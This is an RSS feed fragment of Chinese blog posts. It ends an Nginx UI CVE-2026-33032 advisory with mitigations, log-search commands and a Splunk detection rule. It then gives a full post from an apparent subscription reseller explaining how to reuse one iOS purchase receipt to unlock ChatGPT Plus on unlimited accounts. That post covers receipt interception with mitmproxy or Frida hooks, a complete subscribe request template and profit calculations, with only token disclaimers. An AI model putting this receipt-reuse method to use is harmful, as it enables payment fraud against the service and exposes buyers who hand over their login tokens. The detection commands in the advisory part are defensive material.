&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;allow&lt;/span&gt; &lt;span class="n"&gt;192.168.0.0&lt;/span&gt;&lt;span class="s"&gt;/16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;proxy_pass&lt;/span&gt; &lt;span class="s"&gt;http://127.0.0.1:9000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="方案-3-禁用-mcp-功能"&gt;方案 3: 禁用 MCP 功能
&lt;/h3&gt;&lt;p&gt;如果不需要 MCP 集成，可以在配置中禁用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Nginx UI 配置文件&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;mcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="方案-4-修改-ip-白名单"&gt;方案 4: 修改 IP 白名单
&lt;/h3&gt;&lt;p&gt;在 Nginx UI 配置中显式设置 IP 白名单：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;mcp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ip_whitelist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="m"&gt;127.0.0.1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="m"&gt;10.0.0.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# 仅允许可信 IP&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="检测与监控"&gt;检测与监控
&lt;/h2&gt;&lt;h3 id="日志审计"&gt;日志审计
&lt;/h3&gt;&lt;p&gt;检查 Nginx UI 访问日志中的可疑请求：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 搜索 /mcp_message 端点访问&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;/mcp_message&amp;#34;&lt;/span&gt; /var/log/nginx-ui/access.log
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测异常 POST 请求&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep &lt;span class="s2"&gt;&amp;#34;POST /mcp_message&amp;#34;&lt;/span&gt; /var/log/nginx-ui/access.log &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; sort -rn
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="siem-规则"&gt;SIEM 规则
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Splunk 检测规则&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;index=nginx_ui&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;uri_path=&amp;#34;/mcp_message&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;http_method=POST&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;status=200&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;| stats count by src_ip, user_agent&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="l"&gt;| where count &amp;gt; 5&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="网络监控"&gt;网络监控
&lt;/h3&gt;&lt;p&gt;监控对 Nginx UI 端点的异常访问：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用 tcpdump 捕获可疑流量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tcpdump -i eth0 &lt;span class="s1"&gt;&amp;#39;port 9000 and tcp[((tcp[12:1] &amp;amp; 0xf0) &amp;gt;&amp;gt; 2):4] = 0x504f5354&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 过滤 POST 请求&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="时间线"&gt;时间线
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;日期&lt;/th&gt;
 &lt;th&gt;事件&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;2026-03-30&lt;/td&gt;
 &lt;td&gt;GitHub 收到漏洞报告，分配 CVE-2026-33032&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2026-03-30&lt;/td&gt;
 &lt;td&gt;GitHub 发布安全公告 (GHSA-h6c2-x2m2-mwhf)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2026-04-01&lt;/td&gt;
 &lt;td&gt;NIST NVD 收录该漏洞&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2026-04-16&lt;/td&gt;
 &lt;td&gt;NVD 更新漏洞记录，添加参考链接&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;2026-04-17&lt;/td&gt;
 &lt;td&gt;暂无官方补丁发布&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="参考资源"&gt;参考资源
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://nvd.nist.gov/vuln/detail/CVE-2026-33032" target="_blank" rel="noopener"
 &gt;NVD CVE-2026-33032&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf" target="_blank" rel="noopener"
 &gt;GitHub 安全公告&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://websec.net/blog/cve-2026-33032-unauthenticated-nginx-ui-mcp-takeover-69e1200f9fceb1f3fbe9c47f" target="_blank" rel="noopener"
 &gt;WebSec 漏洞分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://cwe.mitre.org/data/definitions/306.html" target="_blank" rel="noopener"
 &gt;CWE-306: Missing Authentication for Critical Function&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/0xJacky/nginx-ui" target="_blank" rel="noopener"
 &gt;Nginx UI GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;CVE-2026-33032 是一个典型的&lt;strong&gt;认证缺失漏洞&lt;/strong&gt;，根源在于开发者错误地认为 IP 白名单可以替代身份认证。这个案例提醒我们：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;防御深度&lt;/strong&gt;: 单一安全措施（IP 白名单）不足以保护敏感功能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;默认安全&lt;/strong&gt;: 默认配置应该是安全的（空名单应解释为&amp;quot;拒绝所有&amp;quot;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;及时更新&lt;/strong&gt;: 使用 Nginx UI 的管理员应密切关注官方补丁发布&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;🔔 &lt;strong&gt;建议&lt;/strong&gt;: 如果你正在使用 Nginx UI ≤ 2.3.5，请立即实施上述缓解措施，并监控官方仓库获取补丁更新。&lt;/p&gt;</description></item><item><title>GPT Plus 代充漏洞揭秘 - 一张收据给无数账号开 Plus 的骚操作</title><link>https://blog.7qiang.com/posts/gpt-plus-receipt-vulnerability-2026/</link><pubDate>Thu, 16 Apr 2026 11:45:00 +0000</pubDate><guid>https://blog.7qiang.com/posts/gpt-plus-receipt-vulnerability-2026/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post GPT Plus 代充漏洞揭秘 - 一张收据给无数账号开 Plus 的骚操作" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 时效性提醒（2026-07 更新）&lt;/strong&gt;：本文发布于 2026 年 4 月，距今已过去 3 个月。iOS 收据复用漏洞据反馈已被 OpenAI 部分修复，&lt;strong&gt;当前可用性存疑&lt;/strong&gt;。本文保留仅供安全研究与技术原理学习参考。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="前言"&gt;前言
&lt;/h2&gt;&lt;p&gt;兄弟们，今天来扒一个超级劲爆的漏洞——&lt;strong&gt;GPT Plus 代充背后的秘密&lt;/strong&gt;！&lt;/p&gt;
&lt;p&gt;你是不是经常在闲鱼上看到二三十块钱一个月的 GPT Plus 代充？是不是好奇人家咋做到的？今天我就把这个漏洞给你扒得明明白白！&lt;/p&gt;
&lt;p&gt;先说好啊，&lt;strong&gt;本文仅供技术交流&lt;/strong&gt;，任何实际操作产生的账号封禁、法律风险，自行承担！别怪我没提醒你~&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="原理openai-验票机制的重大漏洞"&gt;原理：OpenAI 验票机制的重大漏洞
&lt;/h2&gt;&lt;h3 id="正常流程是啥样的"&gt;正常流程是啥样的？
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;你 iPhone 上点付款
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;App Store 扣钱
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Apple 把收据扔到你手机本地
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ChatGPT App 捡起收据
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;App 把收据和你当前登录的账号 token 一起打包发给 OpenAI
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;OpenAI 验一下收据真假
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ↓
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;给你账号开 Plus
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;看起来挺严谨对吧？&lt;strong&gt;屁！&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="漏洞在哪"&gt;漏洞在哪？
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;OpenAI 验票的时候，根本不看这张收据是你 Apple ID 买的，还是隔壁老王 Apple ID 买的！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它只看两样东西：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;收据合不合法&lt;/li&gt;
&lt;li&gt;你传过来的 ChatGPT auth token 是不是活的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;说白了&lt;/strong&gt;：什么 Apple ID 绑定、什么账号对应关系，全！不！查！&lt;/p&gt;
&lt;p&gt;这就好比你拿着别人的购物小票去柜台领东西，柜员只看小票真假，不看你身份证…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;收据合法 + token 有效 = 任意账号变 Plus&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="漏洞利用全流程"&gt;漏洞利用全流程
&lt;/h2&gt;&lt;h3 id="第一步搞一个土耳其区-apple-id"&gt;第一步：搞一个土耳其区 Apple ID
&lt;/h3&gt;&lt;p&gt;为啥是土耳其？因为&lt;strong&gt;便宜&lt;/strong&gt;啊！&lt;/p&gt;
&lt;p&gt;土耳其区 Plus 标价 499 里拉一个月，折人民币大概&lt;strong&gt;八十五块&lt;/strong&gt;。国内定价多少？一百四五！差价自己算~&lt;/p&gt;
&lt;p&gt;往这个土区 Apple ID 里充好礼品卡，钱备足。&lt;/p&gt;
&lt;h3 id="第二步拦截收据"&gt;第二步：拦截收据
&lt;/h3&gt;&lt;p&gt;在你 iPhone 上打开 ChatGPT App，&lt;strong&gt;别登录你想开 Plus 的目标账号&lt;/strong&gt;，随便登个临时号或者干脆不登。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心操作&lt;/strong&gt;：内购付款之前，配置网络拦截——阻止 ChatGPT App 把收据发给 OpenAI 服务器。&lt;/p&gt;
&lt;p&gt;App Store 那边照样扣钱，Apple 照样把收据扔到你手机本地沙盒目录里。但因为你的拦截，这张收据没自动飞向 OpenAI，而是老老实实待在本地等你来拿。&lt;/p&gt;
&lt;h3 id="第三步导出收据"&gt;第三步：导出收据
&lt;/h3&gt;&lt;p&gt;导出收据通常需越狱设备或利用系统漏洞。实际主流玩法有三种：&lt;/p&gt;
&lt;h4 id="方法-a端点本地映射"&gt;方法 A：端点本地映射
&lt;/h4&gt;&lt;p&gt;用 DNS 劫持或本地代理，把 ChatGPT App 发往 OpenAI 的请求重定向到你自己的本地服务器。请求里本来就带着 Base64 编码的收据，到了你本地，直接保存下来。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工具&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;mitmproxy&lt;/li&gt;
&lt;li&gt;Charles Proxy&lt;/li&gt;
&lt;li&gt;自建 HTTPS 代理加一张自签证书&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不用越狱，门槛低得令人发指。&lt;/p&gt;
&lt;h4 id="方法-b越狱加-hook"&gt;方法 B：越狱加 Hook
&lt;/h4&gt;&lt;p&gt;越狱设备上用 Frida 或者 Flex，直接 hook StoreKit 框架，截下 &lt;code&gt;SKPaymentTransaction&lt;/code&gt; 的 &lt;code&gt;transactionReceipt&lt;/code&gt;，或者读 &lt;code&gt;appStoreReceiptURL&lt;/code&gt; 拿收据文件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;粗暴直接&lt;/strong&gt;。&lt;/p&gt;
&lt;h4 id="方法-c安卓径用-xposed-hook"&gt;方法 C：安卓径用 Xposed Hook
&lt;/h4&gt;&lt;p&gt;逻辑类似，不细说了。&lt;/p&gt;
&lt;h3 id="第四步api-补单"&gt;第四步：API 补单
&lt;/h3&gt;&lt;p&gt;收据到手，直接往 OpenAI 的订阅接口发请求：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;POST https://chat.openai.com/backend-api/payments/subscribe
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;Content-Type: application/json
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;Authorization: Bearer &amp;lt;目标账号的 auth token&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;receipt&amp;#34;: &amp;#34;&amp;lt;Base64 编码的 iOS 收据&amp;gt;&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;platform&amp;#34;: &amp;#34;ios&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;product_id&amp;#34;: &amp;#34;com.openai.chatgpt.plus&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;device_info&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;model&amp;#34;: &amp;#34;iPhone14,2&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;os_version&amp;#34;: &amp;#34;17.0&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;timezone&amp;#34;: &amp;#34;Asia/Shanghai&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：这里的 auth token 是目标用户给你的登录令牌，权限有限，有效期短。你给他充完 Plus，他立刻改密码，你拿着这张收据去充下一个。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="骚操作来了"&gt;骚操作来了！
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;一张土耳其收据八十五块人民币成本，能给无数个账号开 Plus！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;闲鱼上那些二三十块钱一个月的 GPT Plus 代充，就是这么来的。你以为人家做慈善？人家是&lt;strong&gt;拿一张票反复上车&lt;/strong&gt;！&lt;/p&gt;
&lt;h3 id="成本计算"&gt;成本计算
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;项目&lt;/th&gt;
 &lt;th&gt;成本&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;土耳其区 Apple ID&lt;/td&gt;
 &lt;td&gt;免费（自己注册）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;单张收据成本&lt;/td&gt;
 &lt;td&gt;¥85&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;可开通账号数&lt;/td&gt;
 &lt;td&gt;∞（理论无限）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;单账号成本&lt;/td&gt;
 &lt;td&gt;趋近于 0&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;这利润空间…啧啧啧&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="为啥-openai-不修复"&gt;为啥 OpenAI 不修复？
&lt;/h2&gt;&lt;p&gt;很多人会问：这么大的漏洞，OpenAI 为啥不补？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;真相&lt;/strong&gt;：不是补不了，是&lt;strong&gt;优先级不够&lt;/strong&gt;，或者说，他们根本不在乎这点订阅收入的漏洞。&lt;/p&gt;
&lt;p&gt;毕竟大头在企业 API 那边，个人订阅那点钱，对 OpenAI 来说就是毛毛雨~&lt;/p&gt;
&lt;p&gt;而且这个漏洞还有个特点：&lt;strong&gt;需要 iOS 设备 + 网络拦截能力&lt;/strong&gt;，门槛其实不低。普通用户根本玩不转，所以影响范围有限。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="风险提示"&gt;风险提示
&lt;/h2&gt;&lt;p&gt;⚠️ &lt;strong&gt;重要提醒&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;账号风险&lt;/strong&gt;：用这种方式开通的 Plus 账号，随时可能被 OpenAI 封禁&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法律风险&lt;/strong&gt;：在某些地区可能涉及欺诈行为&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;道德风险&lt;/strong&gt;：本质上是利用漏洞薅羊毛&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;本文仅供技术交流，请勿用于非法用途！&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="如何防范"&gt;如何防范？
&lt;/h2&gt;&lt;h3 id="对于-openai"&gt;对于 OpenAI
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;验证收据与 Apple ID 的绑定关系&lt;/li&gt;
&lt;li&gt;限制单张收据的使用次数&lt;/li&gt;
&lt;li&gt;增加设备指纹验证&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="对于用户"&gt;对于用户
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;走官方渠道购买 Plus&lt;/li&gt;
&lt;li&gt;不要贪便宜买低价代充&lt;/li&gt;
&lt;li&gt;定期检查账号状态&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="总结"&gt;总结
&lt;/h2&gt;&lt;p&gt;这个漏洞的本质是&lt;strong&gt;OpenAI 在收据验证环节偷懒了&lt;/strong&gt;，只验证收据真假，不验证收据与账号的对应关系。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;技术要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;土耳其区 Apple ID（便宜）&lt;/li&gt;
&lt;li&gt;网络拦截（mitmproxy/Charles）&lt;/li&gt;
&lt;li&gt;收据导出（越狱/Hook）&lt;/li&gt;
&lt;li&gt;API 补单（重复使用收据）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;最后再说一遍&lt;/strong&gt;：本文仅供技术交流，请勿用于非法用途！想稳定用 Plus，还是走官方渠道吧~&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;觉得有用？别忘了分享给更多需要的朋友！👍&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;关注我，下期继续扒更多有趣的技术漏洞~&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>